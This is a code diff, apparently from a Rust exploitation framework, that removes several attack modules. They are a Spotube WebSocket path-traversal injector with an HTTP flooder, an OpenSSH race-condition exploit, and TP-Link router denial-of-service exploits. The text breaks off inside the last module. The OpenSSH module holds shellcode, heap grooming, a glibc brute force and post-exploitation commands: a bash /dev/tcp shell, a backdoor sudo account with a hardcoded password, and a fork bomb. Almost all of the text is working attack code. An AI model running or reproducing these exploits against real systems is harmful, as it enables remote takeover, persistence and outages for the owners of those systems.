||||
let mut tid = String::new();
|
||||
io::stdin().read_line(&mut tid)?;
|
||||
let track_id = {
|
||||
let t = tid.trim();
|
||||
if t.is_empty() { "INJECT1" } else { t }
|
||||
};
|
||||
|
||||
// prompt for codec extension
|
||||
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cd = String::new();
|
||||
io::stdin().read_line(&mut cd)?;
|
||||
let codec = {
|
||||
let t = cd.trim();
|
||||
if t.is_empty() { "mp3" } else { t }
|
||||
};
|
||||
|
||||
let payload = json!({
|
||||
"type": "load",
|
||||
"data": {
|
||||
"tracks": [
|
||||
{
|
||||
"name": malicious_name,
|
||||
"artists": { "asString": "" },
|
||||
"sourceInfo": { "id": track_id },
|
||||
"codec": { "name": codec }
|
||||
}
|
||||
]
|
||||
}
|
||||
});
|
||||
|
||||
let ws_url = format!("ws://{}:{}/ws", host, port);
|
||||
println!("Connecting to {} …", ws_url);
|
||||
|
||||
let (ws_stream, _) = connect_async(&ws_url)
|
||||
.await
|
||||
.context("WebSocket connection failed")?;
|
||||
let (mut write, _) = ws_stream.split();
|
||||
|
||||
let msg_text = payload.to_string();
|
||||
write
|
||||
.send(Message::Text(msg_text.clone().into()))
|
||||
.await
|
||||
.context("Failed to send WebSocket message")?;
|
||||
|
||||
println!("▶️ Malicious load payload sent:");
|
||||
println!("{}", serde_json::to_string_pretty(&payload)?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
|
||||
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
|
||||
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
|
||||
for _ in 0..count {
|
||||
let _ = execute(host, port, path).await;
|
||||
if delay > 0.0 {
|
||||
sleep(Duration::from_secs_f64(delay)).await;
|
||||
}
|
||||
}
|
||||
println!("🔥 Done flood.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // CLI menu that mimics the original Python script, now with WS and DoS
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("⚙️ Spotube Advanced Exploit CLI\n");
|
||||
|
||||
let host = target.to_string(); // use target passed from set command
|
||||
|
||||
// //// // port prompt (optional override)
|
||||
print!("{}", "Enter port [17086]: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut p = String::new();
|
||||
io::stdin().read_line(&mut p)?;
|
||||
let port = {
|
||||
let t = p.trim();
|
||||
if t.is_empty() { "17086".to_string() } else { t.to_string() }
|
||||
};
|
||||
|
||||
loop {
|
||||
println!("\n=== Menu ===");
|
||||
println!("1. Ping server");
|
||||
println!("2. Next track");
|
||||
println!("3. Previous track");
|
||||
println!("4. Toggle play/pause");
|
||||
println!("5. Inject path-traversal via WS");
|
||||
println!("6. Flood HTTP endpoint (DoS)");
|
||||
println!("7. Exit");
|
||||
|
||||
print!("Choose an option: ");
|
||||
io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
println!("\n▶️ Ping server …");
|
||||
let _ = execute(&host, &port, "/ping").await;
|
||||
}
|
||||
"2" => {
|
||||
println!("\n▶️ Next track …");
|
||||
let _ = execute(&host, &port, "/playback/next").await;
|
||||
}
|
||||
"3" => {
|
||||
println!("\n▶️ Previous track …");
|
||||
let _ = execute(&host, &port, "/playback/previous").await;
|
||||
}
|
||||
"4" => {
|
||||
println!("\n▶️ Toggle play/pause …");
|
||||
let _ = execute(&host, &port, "/playback/toggle-playback").await;
|
||||
}
|
||||
"5" => {
|
||||
ws_inject_path_traversal(&host, &port).await?;
|
||||
}
|
||||
"6" => {
|
||||
// //// // flood prompts
|
||||
print!("Endpoint to flood (e.g. /playback/next): ");
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
print!("Number of requests [100]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut cnt = String::new();
|
||||
io::stdin().read_line(&mut cnt)?;
|
||||
let count = cnt.trim().parse().unwrap_or(100);
|
||||
|
||||
print!("Delay between requests (s) [0]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut dly = String::new();
|
||||
io::stdin().read_line(&mut dly)?;
|
||||
let delay = dly.trim().parse().unwrap_or(0.0);
|
||||
|
||||
dos_flood(&host, &port, path, count, delay).await?;
|
||||
}
|
||||
"7" => {
|
||||
println!("👋 Goodbye!");
|
||||
break;
|
||||
}
|
||||
_ => println!("❌ Invalid choice, try again."),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
@@ -1,460 +0,0 @@
|
||||
use std::io::{self, ErrorKind, Write};
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
const MAX_PACKET_SIZE: usize = 256 * 1024;
|
||||
const LOGIN_GRACE_TIME: f64 = 120.0;
|
||||
const CHUNK_ALIGN: usize = 16;
|
||||
const CONCURRENCY: usize = 256;
|
||||
|
||||
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
|
||||
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
|
||||
const GLIBC_STEP: u64 = 0x200000;
|
||||
|
||||
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
|
||||
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
|
||||
|
||||
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
|
||||
|
||||
const BIND_SHELL_PORT: u16 = 55555;
|
||||
const PERSISTENT_USER: &str = "aptpwn";
|
||||
const PERSISTENT_PASS: &str = "Root4life!";
|
||||
|
||||
fn chunk_align(s: usize) -> usize {
|
||||
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
|
||||
}
|
||||
|
||||
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
|
||||
buf.fill(0);
|
||||
let len = buf.len();
|
||||
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
|
||||
if len >= 16 {
|
||||
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
|
||||
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
packet.fill(0);
|
||||
|
||||
packet[..8].copy_from_slice(b"ssh-rsa ");
|
||||
|
||||
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
|
||||
if shell_offset + SHELLCODE.len() <= packet.len() {
|
||||
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
|
||||
}
|
||||
|
||||
for i in 0..27 {
|
||||
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
|
||||
if pos + chunk_align(304) <= packet.len() {
|
||||
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let packet_len = (data.len() + 5) as u32;
|
||||
|
||||
stream.write_u32(packet_len).await?;
|
||||
stream.write_u8(packet_type).await?;
|
||||
stream.write_all(data).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn normalize_target(ip: &str, port: u16) -> Result<String> {
|
||||
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
|
||||
Ok(format!("[{}]:{}", ip_trimmed, port))
|
||||
} else {
|
||||
Ok(format!("{}:{}", ip_trimmed, port))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
|
||||
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
|
||||
let (mut rd, mut wr) = tokio::io::split(conn);
|
||||
let mut stdin = tokio::io::stdin();
|
||||
let mut stdout = tokio::io::stdout();
|
||||
|
||||
let reader = tokio::spawn(async move {
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
match rd.read(&mut buf).await {
|
||||
Ok(0) => break,
|
||||
Ok(n) => {
|
||||
if stdout.write_all(&buf[..n]).await.is_err() { break; }
|
||||
if stdout.flush().await.is_err() { break; }
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let writer = tokio::spawn(async move {
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
match stdin.read(&mut buf).await {
|
||||
Ok(0) => break,
|
||||
Ok(n) => {
|
||||
if wr.write_all(&buf[..n]).await.is_err() { break; }
|
||||
if wr.flush().await.is_err() { break; }
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let _ = tokio::try_join!(reader, writer);
|
||||
println!("{}", "[*] Shell session ended.".yellow());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = normalize_target(ip, port)?;
|
||||
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
|
||||
stream.flush().await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
loop {
|
||||
match stream.read(buf).await {
|
||||
Ok(n) if n > 0 => return Ok(n),
|
||||
Ok(0) => bail!("Connection closed while receiving data"),
|
||||
Ok(_) => bail!("Unexpected read result"),
|
||||
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 256];
|
||||
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let payload = vec![0u8; 36];
|
||||
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
|
||||
}
|
||||
|
||||
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 1024];
|
||||
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
|
||||
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
|
||||
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
|
||||
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
|
||||
for _ in 0..10 {
|
||||
let tcache_chunk = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &tcache_chunk).await?;
|
||||
}
|
||||
|
||||
for _ in 0..27 {
|
||||
let large_hole = vec![b'B'; 8192];
|
||||
send_packet(stream, 5, &large_hole).await?;
|
||||
|
||||
let small_hole = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &small_hole).await?;
|
||||
}
|
||||
|
||||
for _ in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, glibc_base);
|
||||
send_packet(stream, 5, &fake).await?;
|
||||
}
|
||||
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet_data: &[u8] = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
|
||||
};
|
||||
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, error_packet_data).await?;
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = recv_retry(stream, &mut buf).await;
|
||||
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1).await?;
|
||||
let t2 = measure_response_time(stream, 2).await?;
|
||||
let parsing_time = t2 - t1;
|
||||
|
||||
Ok(parsing_time)
|
||||
}
|
||||
|
||||
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
|
||||
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut final_packet, glibc_base);
|
||||
|
||||
let to_send = final_packet.len() - 1;
|
||||
stream.write_all(&final_packet[..to_send]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if wait_time > 0.0 {
|
||||
sleep(Duration::from_secs_f64(wait_time)).await;
|
||||
}
|
||||
|
||||
stream.write_all(&final_packet[to_send..]).await?;
|
||||
stream.flush().await?;
|
||||
|
||||
let mut response = [0u8; 1024];
|
||||
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
|
||||
Ok(Ok(n)) if n == 0 => Ok(true),
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
Ok(Ok(_)) => Ok(false),
|
||||
Ok(Err(_)) => Ok(true),
|
||||
Err(_) => Ok(true),
|
||||
}
|
||||
}
|
||||
|
||||
fn print_post_actions() {
|
||||
println!("{}", "Available Post-Ex Actions:".cyan().bold());
|
||||
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
|
||||
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
|
||||
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
|
||||
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
|
||||
}
|
||||
|
||||
fn get_postex_command(action: u8) -> String {
|
||||
match action {
|
||||
1 => format!(
|
||||
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
|
||||
BIND_SHELL_PORT
|
||||
),
|
||||
2 => format!(
|
||||
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
|
||||
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
|
||||
),
|
||||
3 => ":(){ :|:& };:".to_string(),
|
||||
4 => "exec /bin/bash -i".to_string(),
|
||||
_ => "".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
|
||||
|
||||
let postex_cmd = get_postex_command(mode_choice);
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
|
||||
|
||||
let mut glibc_bases = vec![];
|
||||
let mut current_base = GLIBC_BASE_START;
|
||||
while current_base < GLIBC_BASE_END {
|
||||
glibc_bases.push(current_base);
|
||||
current_base += GLIBC_STEP;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
|
||||
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
|
||||
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
|
||||
|
||||
for glibc_base_addr in glibc_bases {
|
||||
for attempt_num in 0..num_attempts_per_base {
|
||||
let ip_clone = target_ip.clone();
|
||||
let sem_clone = semaphore.clone();
|
||||
let cmd_clone = postex_cmd.clone();
|
||||
|
||||
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
let mut stream = match setup_connection(&ip_clone, port_num).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if perform_ssh_handshake(&mut stream).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let parsing_time = match time_final_packet(&mut stream).await {
|
||||
Ok(pt) => pt,
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
|
||||
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
|
||||
|
||||
if !cmd_clone.is_empty() {
|
||||
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
|
||||
}
|
||||
|
||||
match mode_choice {
|
||||
1 => {
|
||||
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
|
||||
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
match TcpStream::connect(&bind_shell_target_addr).await {
|
||||
Ok(conn_stream) => {
|
||||
if let Err(e) = handle_bind_shell_session(conn_stream).await {
|
||||
println!("[!] Bind shell session error: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
|
||||
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
|
||||
}
|
||||
}
|
||||
}
|
||||
2 => {
|
||||
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
|
||||
println!("[*] Password: {}", PERSISTENT_PASS);
|
||||
println!("(Manual check required. If login works, exploit succeeded!)");
|
||||
}
|
||||
3 => {
|
||||
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
|
||||
}
|
||||
4 => {
|
||||
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
|
||||
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
|
||||
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
|
||||
}
|
||||
_ => {
|
||||
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
|
||||
}
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
Ok(false)
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
let mut success_found = false;
|
||||
while let Some(task_result) = tasks.next().await {
|
||||
match task_result {
|
||||
Ok(Ok(true)) => {
|
||||
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
|
||||
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
|
||||
if mode_choice == 1 {
|
||||
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
|
||||
}
|
||||
success_found = true;
|
||||
break;
|
||||
}
|
||||
Ok(Ok(false)) => { }
|
||||
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
|
||||
Err(e) => eprintln!("[!] Task join error: {}", e),
|
||||
}
|
||||
}
|
||||
|
||||
if !success_found {
|
||||
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
|
||||
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
if target_info.is_empty() {
|
||||
bail!("Target IP address/hostname cannot be empty.");
|
||||
}
|
||||
if target_info.contains(':') {
|
||||
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
|
||||
}
|
||||
|
||||
let ip_address = target_info.to_string();
|
||||
let port_num: u16;
|
||||
|
||||
loop {
|
||||
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
|
||||
|
||||
match port_input.trim().parse::<u16>() {
|
||||
Ok(port) if port > 0 => {
|
||||
port_num = port;
|
||||
break;
|
||||
}
|
||||
Ok(_) => {
|
||||
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
|
||||
}
|
||||
@@ -1,2 +0,0 @@
|
||||
pub mod tp_link_vn020_dos;
|
||||
pub mod tplink_wr740n_dos;
|
||||
@@ -1,132 +0,0 @@
|
||||
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
|
||||
// Exploit Author: Mohamed Maatallah
|
||||
// Ported to Rust
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use reqwest::Client;
|
||||
use std::io::{self, BufRead};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
use tokio::join;
|
||||
|
||||
/// Normalize IPv6/IPv4/hostname and fix extra brackets
|
||||
fn normalize_target_host(raw: &str) -> String {
|
||||
// Remove outer brackets if any, then reapply correctly for IPv6
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{stripped}]")
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send the malformed AddPortMapping SOAP request (PoC 1)
|
||||
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
// Missing parameters PoC - will crash the router
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping>
|
||||
<NewPortMappingDescription>hello</NewPortMappingDescription>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>"#;
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 1 (Missing Parameters)")?;
|
||||
|
||||
println!("[+] PoC 1 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
|
||||
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
// Memory corruption PoC using format string overflow
|
||||
let long_payload = "%x".repeat(10_000);
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = format!(
|
||||
r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewConnectionType>{}</NewConnectionType>
|
||||
</u:SetConnectionType>
|
||||
</s:Body>
|
||||
</s:Envelope>"#,
|
||||
long_payload
|
||||
);
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 2 (Memory Corruption)")?;
|
||||
|
||||
println!("[+] PoC 2 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point for the exploit module
|
||||
pub async fn run(raw_target: &str) -> Result<()> {
|
||||
// Normalize target
|
||||
let target = normalize_target_host(raw_target);
|
||||
|
||||
// Create HTTP client with insecure certs accepted and 5s timeout
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
|
||||
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stop_flag_clone = Arc::clone(&stop_flag);
|
||||
|
||||
// Monitor stdin for "stop" command
|
||||
thread::spawn(move || {
|
||||
let stdin = io::stdin();
|
||||
for line in stdin.lock().lines() {
|
||||
if let Ok(input) = line {
|
||||
if input.trim().eq_ignore_ascii_case("stop") {
|
||||
stop_flag_clone.store(true, Ordering::Relaxed);
|
||||
println!("[*] Stopping attack...");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Continuous dual PoC attack until user stops
|
||||
while !stop_flag.load(Ordering::Relaxed) {
|
||||
let (r1, r2) = join!(
|
||||
dos_missing_parameters(&client, &target),
|
||||
dos_memory_corruption(&client, &target)
|
||||
);
|
||||
|
||||
if let Err(e) = r1 {
|
||||
eprintln!("[!] Error during PoC 1: {e}");
|
||||
}
|
||||
if let Err(e) = r2 {
|
||||
eprintln!("[!] Error during PoC 2: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
println!("[+] Exploit session ended.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
|
||||
// Date: 8/12/2023
|
||||
// Exploit Author: Anish Feroz (ZEROXINN)
|
||||
// Vendor Homepage: http://www.tp-link.com
|
||||
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
|
||||
// Tested on: TP-Link TL-WR740N
|
||||
|
||||
// Description:
|
||||
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
|
||||
// that can allow an attacker to crash the web server running on the router
|
||||
// by sending a crafted request. To bring back the http (webserver),
|
||||
// a user must physically reboot the router.
|
||||
|
||||
use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
|
||||
// Add brackets for IPv6
|
||||
if ip.contains(':') && !ip.starts_with('[') {
|
||||
ip = format!("[{}]", ip);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// Internal function to send crafted request to crash router
|
||||
